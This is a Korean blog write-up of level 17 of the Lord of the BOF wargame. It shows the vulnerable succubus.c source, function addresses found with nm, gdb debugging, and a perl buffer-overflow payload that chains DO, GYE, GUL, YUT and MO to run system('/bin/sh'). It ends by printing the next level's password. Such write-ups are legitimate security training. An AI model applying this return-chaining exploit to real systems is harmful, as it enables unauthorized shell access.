IT 그리고 정보보안/Write-up

LOB Level 17 (zombie_assassin)

plummmm 2021. 4. 12. 19:14
반응형

succubus.c를 열어봅시다.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/



#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>



// the inspector

int check = 0;



void MO(char *cmd)                           // check가 4라면 system(cmd) 실행

{

        if(check != 4)

                exit(0);



        printf("welcome to the MO!\n");



        // olleh!

        system(cmd);

}



void YUT(void)                                 // check가 3이라면 check를 4로 올림.

{

        if(check != 3)

                exit(0);



        printf("welcome to the YUT!\n");

        check = 4;

}



void GUL(void)                                 ​// check가 2라면 check를 3으로 올림.                          

{

        if(check != 2)

                exit(0);



        printf("welcome to the GUL!\n");

        check = 3;

}



void GYE(void)                                 //​ check가 1이라면 check를 2로 올림.

{

        if(check != 1)

                exit(0);



        printf("welcome to the GYE!\n");

        check = 2;

}



void DO(void)                                 // check 값을 1로 지정.​

{

        printf("welcome to the DO!\n");

        check = 1;

}



main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;



        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }



        // you cannot use library

        if(strchr(argv[1], '\x40')){                                 /* argv[1]인자로 라이브러리영역​

                printf("You cannot use library\n");                  사용할 수 없음. */​

                exit(0);

        }



        // check address

        addr = (char *)&DO;                                         // ​RET에는 D0()의 주소가 있어야한다.

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }



        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);



        // stack destroyer

        // 100 : extra space for copied argv[1]               //​ RET위로 100바이트 만큼 공간을 쓸 수 있다.

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));



        // LD_* eraser                                              // buffer-3000부터 40바이트 공간을 쓸 수 있다.​

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}

 

​굉장히 길다. 그리고 뭔가 난잡하다.

소스 해석을 주석에다가 달겠다.

 

주석을 토대로 해석해보면 대충 감이 잡힌다.

RET에 DO함수가 와야함 --> DO함수 호출 --> GYE,GUL YUT MO 차례로 호출 -->

MO에서 call하는 system함수 인자에 "/bin/sh"를 주어 셸실행

 

정도가 되겠다.

자세히 보니 함수 이름들이 도 개 걸 윷 모 ;;-_-

일단 윷놀이(?)함수들의 주소부터 찾아보자.

nm 명령으로 알 수 있따.

 

[zombie_assassin@localhost zombie_assassin]$ nm succubus

080487ec T DO

0804878c T GUL

080487bc T GYE

08048724 T MO

0804875c T YUT

08049ae4 ? _DYNAMIC

08049aa8 ? _GLOBAL_OFFSET_TABLE_

08048984 R _IO_stdin_used

08049a9c ? __CTOR_END__

08049a98 ? __CTOR_LIST__

08049aa4 ? __DTOR_END__

08049aa0 ? __DTOR_LIST__

08049a94 ? __EH_FRAME_BEGIN__

08049a94 ? __FRAME_END__

08049b84 A __bss_start

08049a84 D __data_start

         w __deregister_frame_info@@GLIBC_2.0

08048920 t __do_global_ctors_aux

080484c0 t __do_global_dtors_aux

         w __gmon_start__

         U __libc_start_main@@GLIBC_2.0

         w __register_frame_info@@GLIBC_2.0

08049b84 A _edata

08049b9c A _end

0804894c A _etext

0804894c ? _fini

         U _fp_hw

0804839c ? _init

08048490 T _start

08049a90 D check

08049a8c d completed.3

08049a84 W data_start

08048584 T dumpcode

         U exit@@GLIBC_2.0

08048508 t fini_dummy

08049a90 d force_to_data

08049a94 d force_to_data

08048510 t frame_dummy

080484b4 t gcc2_compiled.

080484c0 t gcc2_compiled.

08048920 t gcc2_compiled.

0804894c t gcc2_compiled.

08048540 t gcc2_compiled.

08048530 t init_dummy

08048944 t init_dummy

         U isprint@@GLIBC_2.0

08048808 T main

         U memcmp@@GLIBC_2.0

         U memset@@GLIBC_2.0

08049b84 b object.8

08049a88 d p.2

08048540 T printchar

         U printf@@GLIBC_2.0

         U strchr@@GLIBC_2.0

         U strcpy@@GLIBC_2.0

         U system@@GLIBC_2.0

 

코드를 보면

----------------

080487ec T DO

0804878c T GUL

080487bc T GYE

08048724 T MO

0804875c T YUT 

----------------

로 각각 함수들의 주소를 뽑아 왔다.

 

그럼 이걸 어떻게 각각 호출하나?

RTL 공부할 때 함수의 가젯을 뽑아와서 호출하면,

스택이 아래와 같이 쌓인다고 했다. (printf 함수라고 가정한다.)

 

 

 

RET에 함수 가젯을 올리면 호출된 함수의 SFP가 쌓이고, 

그 다음엔 그 함수의 RET가 쌓인다. 그 뒤에 인자.

 

그럼 페이로드가 요런식으로 되지 않을까.

[NOP 44] [&DO] [&GYE] [&GUL] [&YUT] [&MO] [NOP 4] [&"/bin/sh"]

 

다른건 해결되었고, "/bin/sh"의 주소가 문제다.

 

늘 상 RTL 문제 풀 때처럼 라이브러리 영역에 있는 /bin/sh를 끌어다 쓸 수가 없다.

코드에서 argv[1]에 라이브러리 영역과 스택영역 코드를 막아버리기 때문이다.

 

그럼 그냥 직접 스택에 "/bin/sh"를 올리고 주소를 따오는게 좋겠다.

[NOP 44] [&DO] [&GYE] [&GUL] [&YUT] [&MO] [NOP 4] [&"/bin/sh"] ["/bin/sh"]

넣고 "/bin/sh"의 주소를 받아온 후 다시 페이로드를 작성해 공격해보겠다.

 

[zombie_assassin@localhost zombie_assassin]$ ./succubuz `perl -e 'print "\x90"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08","\x24\x87\x04\x08","\x90"x4,"\xa0\xfa\xff\xbf","/bin/sh"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱耳?$릱릱좞?bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

sh: ??V좞? command not found

Segmentation fault (core dumped)

[zombie_assassin@localhost zombie_assassin]$ gdb succubuz core

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x90909090 in ?? ()

(gdb) set disassembly-flavor intel

(gdb) info reg

eax            0x7f00   32512

ecx            0xbffff7fc       -1073743876

edx            0x0      0

ebx            0x401081ec       1074823660

esp            0xbffffab4       -1073743180

ebp            0x0      0

esi            0x4000ae60       1073786464

edi            0xbffffae4       -1073743132

eip            0x90909090       -1869574000

eflags         0x10286  66182

cs             0x23     35

ss             0x2b     43

ds             0x2b     43

es             0x2b     43

fs             0x2b     43

gs             0x2b     43

cwd            0x0      0

swd            0x0      0

twd            0x0      0

fip            0x0      0

fcs            0x0      0

fopo           0x0      0

fos            0x0      0

(gdb) x/10x $esp

0xbffffab4:     0xbffffaa0      0x6e69622f      0x0068732f      0x08048808

0xbffffac4:     0x00000002      0xbffffae4      0x0804839c      0x0804894c

0xbffffad4:     0x4000ae60      0xbffffadc

(gdb) x/s 0xbffffaa0

0xbffffaa0:      "??V\207\004\b좞?

(gdb) x/10s $esp

0xbffffab4:      "좞?bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

0xbffffac8:      "掖?234\203\004\bL\211\004\b`?

0xbffffad7:      "@否?220>\001@\002"

0xbffffae2:      ""

0xbffffae3:      ""

0xbffffae4:      "擘???

0xbffffaed:      ""

(gdb)

0xbffffaee:      ""

0xbffffaef:      ""

0xbffffaf0:      "6?풮?퓀??207?여??

0xbffffb05:      ""

0xbffffb06:      ""

0xbffffb07:      ""

0xbffffb08:      ""

0xbffffb09:      ""

0xbffffb0a:      ""

0xbffffb0b:      ""

(gdb)

0xbffffb0c:      ""

0xbffffb0d:      ""

0xbffffb0e:      ""

0xbffffb0f:      ""

0xbffffb10:      ""

0xbffffb11:      ""

0xbffffb12:      ""

0xbffffb13:      ""

0xbffffb14:      ""

0xbffffb15:      ""

(gdb) x/4s 0xbffffab6

0xbffffab6:      "?bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

(gdb) x/4s 0xbffffab7

0xbffffab7:      "?bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

(gdb) x/4s 0xbffffab5

0xbffffab5:      "??bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

(gdb) x/4s 0xbffffab6

0xbffffab6:      "?bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

(gdb) x/4s 0xbffffab7

0xbffffab7:      "?bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

(gdb) x/4s 0xbffffab8

0xbffffab8:      "/bin/sh"

0xbffffac0:      "\b\210\004\b\002"

0xbffffac6:      ""

0xbffffac7:      ""

(gdb) quit

[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e 'print "\x90"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08","\x24\x87\x04\x08","\x90"x4,"\xb8\xfa\xff\xbf","/bin/sh"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱耳?$릱릱뫄?bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)

bash$ my-pass

euid = 517

here to stay

bash$

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

LOB Level 19 (nightmare)  (0) 2021.04.12
LOB Level 18 (succubus)  (0) 2021.04.12
LOB Level 16 (assassin)  (0) 2021.04.12
LOB Level 15 (giant)  (0) 2021.04.12
LOB Level 14 (bugbear)  (0) 2021.04.12